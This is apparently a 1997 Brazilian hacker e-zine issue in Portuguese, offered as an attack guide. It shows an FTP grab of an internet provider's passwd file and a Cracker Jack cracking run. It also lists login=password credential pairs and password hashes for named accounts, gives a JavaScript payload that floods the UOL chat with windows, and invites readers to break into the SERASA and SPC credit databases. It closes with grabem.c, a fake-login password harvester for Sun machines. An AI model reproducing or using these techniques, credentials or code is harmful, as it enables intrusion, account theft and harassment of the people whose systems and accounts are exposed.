26 bytes received in 0.00 seconds (26000.00 Kbytes/sec)
ftp>
ftp> get passwd
200 PORT command successful.
150 ASCII data connection for passwd (200.???.???.??,2477) (62 bytes).
226 ASCII Transfer complete.
63 bytes received in 0.06 seconds (1.05 Kbytes/sec)
ftp>


Bom! Ai ta o passwd, em alguns casos o shadow que contem as senhas en-
criptadas.

Esse e' o provedor onde os caras sao do tipo... burros demais!
Agora que temos o arquivo com as senhas o que devemos fazer? Vamos desen-
criptalas.
Usem o crackerjack se vcs estiverem rodando em ambiente DOS, lembrem-se
o cjack nao roda ao mesmo tempo que o ruindows95, entao inicie o prompt
em modo de seguranca.
Pronto, vou colocar uma sessao de crack nas senhas aqui abaixo.



Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : c:\raiz\contas\ginet\passwd
Wordfile  : c:\hacking\diction.ary\axur
Initializing session data...
Loaded 52 total accounts with 50 different salts.


Cracking... (Hit any key for status, Ctrl-C to abort)

forest    (forest)  
pinara    (9871)

Depois de exaustivo tempo larguei de mao, porra minha worlist menor tem
3 megas e nunca pegou tao poucas senhas assim, eu uso esta lista com pa-
lavras do dicionario quando quero economizar tempo ;) pq uma lista gera-
da bem fica com no minino 600 megas.
Qual a primeira providencia que eu vou tomar?
Vou renomear o arquivo passwd e depois limpar ele, usando os proprios lo-
gins como palavras pra wordlist.

gampert
regis
pinara
rodinei
patricia
marcelo
marcos
fernando::9809::::::
debora:wu6RAjzsZPVmI:9810::::::
fredi:AOIaiY4qoNnjs:9818::::::
bstudio:I3ge9NrA610ck:9818::::::
bbborges:L2bpLO7gP7o7U:9818:::::
setup   --DEIXAR SOH O LOGIN--   :HB90Lijk05mpE:6445::::::

Vc soh deve deixar a primeira parte como eu fiz no exemplo acima.
Ai entao nos vamos tentar novamente crackear o arquivo passwd soh que
entendendo que os usuarios usam o login e a senha iguais.

Hehehe.. bingo!
Vou listar abaixo as senhas que eu peguei usando o metodo de login=senha

Provedor: ginet.com.br
login    -  senha
- - -       - - - 
bstudio  -  bstudio
oab_pf   -  oab_pf
nuhry    -  nuhry
jtelles  -  jtelles
demo1    -  demo1
demo2    -  demo2
demo3    -  demo3
demo4    -  demo4
demo5    -  demo5
cmoura   -  cmoura
glaucia  -  glaucia
pedroso  -  pedroso
cotrijal -  cotrijal
ameplan  -  ameplan
guto     -  guto
jmartins -  jmartins
lguedes  -  lguedes
coopibt  -  coopibt
jferst   -  jferst

Coisa estupida ne'? Os caras usam quase todas as  senhas e logins iguais.
Meu irmaozinho tambem achou...
Agora e' soh vcs fazerem isso, mas lembrem-se e'muito dificil de achar um
provedor estupido assim. ;)
Depois que nos aprontamos uma no shell eles cortaram  o acesso, ainda dah
pra ler uns mails, mas nao dah pra puxar telnet.

AciDmuD & VooDoo - 1997(c)
Global Domination Inc.

}-===============================[chain]===============================-{




17-) DETONANDO O CHAT DA UOL
     ~~~~~~~~~ ~ ~~~~ ~~ ~~~


1-Comando para abrir 30 janelas do netscape;
 





2-Esse abre 30 janelas se vc passar o mouse em cima do link, que e' uma ima-
  gem que pega toda a tela
 




3-Esse e' para vc entrar na sala sem ser de imagens e detonar com todo mundo
que estiver com o java ligado. Abre 30 janelas direto.


<imgsrc='http://www.matrix.com.br/frazzon/fogo.gif'><i><B>
ВҐXГ—HELLГ—XВҐ</B></I><imgsrc='http://www.matrix.com.br/frazzon/
fogo.gif' onLoad="alert('\n Entrei na sala e vc vai sair! \n\n When you mess
with the BEST , die like the REST\n\n 
ВҐГ—Г—HELLГ—Г—ВҐ!!');variCounter=0;while(true)window.open('http://www.NETural.com/
~ccamel');"CRASHING"+iCounter('width=1,height=1,resizable=no');iCounter++"&#
62</CENTER>


Agradecimento especial a HoTFiRe -


}-===============================[chain]===============================-{




18-) DESAFIO DO MES
     ~~~~~~~ ~~ ~~~


Nosso obejtivo com o DESAFIO DO MES, que certamente sera mais uma area
da revista AXUR 05 e de fazer com que nosso leitores tambem participem.
Nao queremos colocar o desafio como meta de vida, mas simplesmente sera
uma forma de colocar em enfase o nome de quem conseguir resolver ou re-
alizar o que esta sendo proposto.
Sem mais, o desafio sera estipulado por membros da revista ou mesmo pes-
soal de fora. As regras sao simples, sempre na edicao posterior saira o
resultado do problema juntamente com o nome dos que solucionaram. Isto
se estes mandarem o mail para - axur05@hotmail.com - e colocarem a res-
posta ou demonstrarem como fizeram de forma correta.
Vamos-la, queremos ver  vcs entrarem para a galeria da fama. E seu nome
ser colocado como colaborador da revista. ;)



\=- DESAFiO DE JANEiRO -=/ - by AciDmuD


Bom, sendo que estamos comecando com esta parte da revista nao queremos
colocar algo muito chato logo como primeiro desafio e queremos de  algu-
ma  forma  acompanhar  o desenvolvimento da tecnica utilizada na tarefa
que vamos propor.
O esquema e' o seguinte,  precisamos do MAIOR numero de informacaos  do
SCI ( Seguranca ao Credito de Informacoes ), SERASA e SPC.
Para que nos queremos essas informacoes?
Bom, se voces nao sabem estes sao as instituicoes ou orgaos responsaveis
pelo armazenamento de nomes de pessoas  (fisicas ou juridica) que nao pa-
gam suas contas. Bah...voce pergunta "O que eu tenho com isso?" olha, nos
nao devemos pra ninguem mas hackear  um  sistema  desses ia ser muito bom.
Imagine voce, limpar o nome de todos os devedores possiveis ( nao que nos
que escrevemos a revista devemos alguma coisa :) ) e deixar o pessoal
totalmente desorientado. Hahahaha...
Vamos propor o seguinte:

1-) Todas as informacoes recebidas estarao a disposicao na nossa HOME PAGE
    fazendo assim com que cada um possa ir lah e se informar.
    O endereco da pagina oficial esta no inicio da revista, no topo.

2-) Cada um pode tentar hackear por si mesmo... INDIVIDUAL E AUTONOMO ;)

3-) Caso voce mande alguma coisinha util seu nome sera citado na pagina
    ( o negocio e' totalmente anonimo ) sera usado um pseudonimo ou nick.

4-) Pela primeira vez vamos mobilizar a comunidade de todo o BR pra deto-
    nar alguma coisa junto. Isso vai ser muito bom...

Como viram nao e' bem um desafio, e' um convite!
Procure tudo que souber... como numeros de acesso a linha de dados, pro-
tocolos de comunicacao usados, pessoas que sao possiveis informantes.
Ate mesmo como e' ou funciona o armazenamento das informacoes...



\=- DESAFiO DE JANEiRO -=/ 


}-===============================[chain]===============================-{




19-) CARTAS
     ~~~~~~

Finalmente abrimos nossa parte dedicada somente as cartas, fica ai entao
o manifesto da galera que escreveu. Agradecemos que escreveu e esperamos
satisfazer a todos, ( isso e' quase impossivel ) com o nosso numero 1 da
revista!


- - - - - - - - - -  -   -     -


From:             "____________" <_____@____.__________.___.__>
To:               acidmud@thepentagon.com
Date sent:        Fri, 27 Dec 1996 00:29:09 +0000
Subject:          Zine Hacker...
Priority:         normal

Grande AciDmuD,

                            Acabei de ler sua revista e posso dizer q
ela esta muito boa, principalmente a parte de Anarquia e a de 
comandos linux. As senhas tbem sao do CACETE... Fora o seu quebrador 
de senhas animal... Putz, pra numero 1 de uma revista, ta DEMAIS...
                            Bem, sem rasgacao de seda, vamos agora ao 
q interessa... Eu nao sou tao bom quanto vcs ai, mas sei alguma coisa 
desse submundo hacker q estamos... E gostaria muito de poder ajudar 
vcs com a revista, com o q eu puder fazer. Agora, cabe a vcs saber o 
q eu posso fazer, ne?
                           Outra coisa, queria pedir pra vcs fazerem 
uma sessao de grupos hackers novos q estao surgindo. Tipo dar o nome, 
e o email. Seria legal. E tbem, q desse o telnet das melhores bbs 
hackers do brasil, ou o telefone mesmo, ok???

See Ya Dude.
Deltah

RESPOSTA: Valeu por ter escrito, ainda nao era o numero 1 da revista,
agora que ta saindo realmente o primeiro. O que vc pode fazer e distri-
buir a revista para todos os seus amigos e inimgos.. ;)
Nos vamos colocar nada da BBS dos outros sem que alguem de lah se mani-
feste. Manda os sysopz pararem de cocar a bunda e mandarem seus endere-
cos pra telnet ou pra galera telefonar que nos publicamos!

- - - - - - - - - -  -   -     -

From:             "Fantasma, USuckRox ,CyCLOPs" <______@______.___.__>
To:               acidmud@thepentagon.com
Copies to:        acidmud@thepentagon.com
Subject:          »»»»» AXUR 05 «««««

Г† Galera!!


 
   Beleza!! Gostei muito da revista(AXUR 05) de vcs muito boa para quem 
quer comecar como hacker ou pelo menos ter acesso a provedores que abusao
de seus clientes. E tenho uma pergunta vcs dizem que e melhor UNIX mais
qual e o melhor para isso?
Se eu tiver que usar UNIX tenho que formatar meu Wichester nao tera
problema se eu criar duas particoes uma Dos e outra No-Dos. Nao gosto
muito de UNIX por> que sГЈo pessimos os graficos!! Mas sei que e muito
bom para trabalhar com isso que estamos falando.
  Preciso fazer algo diferente mais com cautela para nГЈo ser pego. Eu>
tenho algumas senhas da braznet mais pelo modo que consigo e tao babaca 
e muito patetico. Eu fico pedindo o Trumpwsk.ini alguns sao tao babacas
que me passam mais quase fui pego com isso por isso parei. Ate ja
mudaram as senhas por que alguem estava usado... quem sera!! Por isso
tbem vou ficar esperando a nova edicao de vcs e espero que seja melhor
que a primeira...
  Sou o Fantasma e meus outros nicks sao: USuckRox e CyCLOPs. Qualquer
coisa sabe onde me encontrar ....
 
 
                   Falo pessoal!!!


RESPOSTA: Cria uma particao logica e uma nao logica com o comando FDISK,
isso e' quase auto-explicativo. Na questao grafica, eu prefiro ficar no
100% shell.. ;) Compra uma controladora e um HD SCSI pra nao se atucanar.


- - - - - - - - - -  -   -     -


Date sent:        Sat, 28 Dec 1996 22:18:08 -0800
From:             ________ <________@___.___.__>
To:               acidmud@thepentagon.com
Subject:          Revista !!!

Muito boa a Revista...continuem a faze-la !!!!

 Gostaria de esclarecer algumas duvidas referentes as senha e logins que 
voces colocaram como bonus na revista.....

 Para mim pode-la usar e ler os e-mail dos outros e ter acesso gratuito eu 
precisaria discar para o provedor certo ??? Qual o telefone de acesso da 
Kanopus e Netville ??? Pelo meu provedor eu posso entrar na Kanopus ou 
Netville e usar ????? Como faco para ler os e-mails ????
Voces tem o Cavalo de Troia ou Homicide ???? se tiver, poderia me 
enviar.....

RESPOSTA: Pra vc ler os mails nao precisa ter acesso discado, e' so mudar
a configuracao do seu client pra mail, o telefone da kanopus e' ?????????
e da netville ?????????. Acho que pelo menos o telefone voces poderiam ir
encontrar, ou e' mais dificil que pegar as senhas???
C faz muitas perguntas porra! ;)

- - - - - - - - - -  -   -     -


From freejack@br.homeshopping.com.br Fri Jan  3 23:01:44 1997
From: "FreeJack"     Address Book
To: 
Subject: Congrats & Stuff..

Ja vi a maior parte da HP e to escrevendo p/ dar os parabens.. Ta concisa,
direta, informativa e inteligente! Ate hoje a maioria dos Hackers q
conheci, com raras excecoes, eram umas bestas... Detonavam so pelo prazer
de detonar... Nao q nao haja prazer, meu Ego e' apenas um pouco menor q
minha vontade de saber mais, mas sempre achei q deveria haver algo mais...
Sempre achei q se alguem se dedica a adquirir tamanha quantidade de
conhecimento, adquire com ela uma responsabilidade de ajudar as pessoas q
ainda nao retiraram as viseiras... Pode parecer meio poltico, mas acho q
nao ha nada errado c/ isso!

Parabens. 

[]s.
FreeJack
   
RESPOSTA: Me deixou feliz... por saber que nos estamos fazendo algo realme-
nte bom! Obrigado... ;)

- - - - - - - - - -  -   -     -

***************************************************************************
BONUS EXTRA ----------------------- catador de senhas em maquinas Sun
***************************************************************************

CUT HERE-------------------- grabem.c-------------------------------------
/*
 GRABEM 1.0                                                                              by The K-Man      |
 A Cute little program to collect passwords on the Sun workstations.   
                                                                        */
#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"
#include 
#include 
void ignoreSig ()
{
        return;
}
/*-----------------------------------------------------------------------+
| Principal                                                               |
+-----------------------------------------------------------------------*/
main()
{
char    name[10],                       /* user name                               
    */
                password[10];           /* user password                           
    */
                
int     i,                       
                lab,             
                procid;          
FILE    *fp;                     
        
        signal (SIGINT, ignoreSig);
signal (SIGTSTP, ignoreSig);
signal (SIGQUIT, ignoreSig);
procid = getppid();
system ("\\rm proj2");
printf ("lab#: ");
scanf ("%d", &lab);
for (i=1; i<40; i++)
        printf ("\n");
getchar();
for(;;)
{
        for (;;)
        {
                printf("lab%1d login: ",lab);
                gets (name);
                if (strcmp (name, "") != 0)
                        break;
        }
        /*---------------------------------------------------------------+
        | Desliga o screen echo, pargunta pelo passwd e coloca o echo    |
        | ligado novamente                                               |
        +---------------------------------------------------------------*/
        system ("stty -echo > /dev/console");
        printf(PASSWORD);
        scanf("%s",password);
        getchar();
        system ("stty echo > /dev/console");
        if ( ( fp = fopen(FILENAME,"a") )  != NULL )
        {
                fprintf(fp,"login %s has password %s\n",name,password);
                fclose(fp);
        }
        if (strlen (name) >= 4)
                break;
        else
                printf (INCORRECT);
        }
        
        printf (INCORRECT);
        kill (procid, 9);
}

CUT HERE-------------------- grabem.c-------------------------------------


   - SE QUISER QUE A REVISTA CONTINUE ESCREVA-NOS, ATENDEREMOS A TODOS -
- AGUARDEM - EM BREVE - O PROXiMO NUMERO DA SUA REViSTA HACKER - AXUR 05 -
                      - = = =  DiA  01 De MARCO = = = -
           		EM TODAS AS BBSz UNDERGROUND